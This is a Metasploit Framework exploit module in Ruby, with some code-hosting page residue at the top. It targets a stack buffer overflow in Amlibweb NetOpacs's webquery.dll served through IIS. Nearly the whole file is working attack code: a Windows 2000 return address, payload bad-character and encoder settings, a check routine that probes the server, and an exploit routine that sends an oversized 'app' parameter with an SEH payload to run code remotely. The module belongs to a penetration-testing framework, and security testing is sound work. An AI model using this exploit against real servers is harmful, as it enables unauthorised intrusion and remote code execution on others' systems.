99 lines
2.7 KiB
Ruby
99 lines
2.7 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Amlibweb NetOpacs webquery.dll Stack Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Amlib's Amlibweb
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Library Management System (NetOpacs). The webquery.dll
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API is available through IIS requests. By specifying
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an overly long string to the 'app' parameter, SeH can be
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reliably overwritten allowing for arbitrary remote code execution.
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In addition, it is possible to overwrite EIP by specifying
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an arbitrary parameter name with an '=' terminator.
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},
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'Author' => [ 'patrick' ],
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'Arch' => [ ARCH_X86 ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'URL', 'http://www.aushack.com/advisories/' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x00\x0a\x0d\x20%=?\x2f\x5c\x3a\x3d\@;!$",
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'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
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'DisableNops' => 'True',
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'StackAdjustment' => -3500,
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},
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'Platform' => ['win'],
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'Targets' =>
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[
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# patrickw - Tested OK 20100803 w2k IIS5
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[ 'Windows 2000 Pro All - English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll - 'dll?app={buff}' for SeH IIS5
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# [ 'Windows 2003 Server All - English', { 'Ret' => 0x44434241 } ], # todo: 'dll?{buff}=' call edi for EIP in IIS6 w3wp.exe, 120 byte limit, ASCII only.
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],
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'DisclosureDate' => 'Aug 03 2010', #0day
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(80),
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],self.class)
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end
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def check
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connect
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rand = Rex::Text.rand_text_alpha(10)
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sock.put("GET /amlibweb/webquery.dll?#{rand}= HTTP/1.0\r\n\r\n")
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res = sock.get(-1,3)
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disconnect
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if (res =~ /<H1>BAD REQUEST<\/H1><P>Your client sent a request that this server didn't understand.<br>Request:\s(\w+)/)
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if ($1 == rand)
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return Exploit::CheckCode::Vulnerable
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end
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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seh = generate_seh_payload(target.ret)
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buffer = Rex::Text.rand_text_alphanumeric(3028) + seh
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sploit = "GET /amlibweb/webquery.dll?app=" + buffer + " HTTP/1.0\r\n"
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sock.put(sploit + "\r\n\r\n")
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handler
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disconnect
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end
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end
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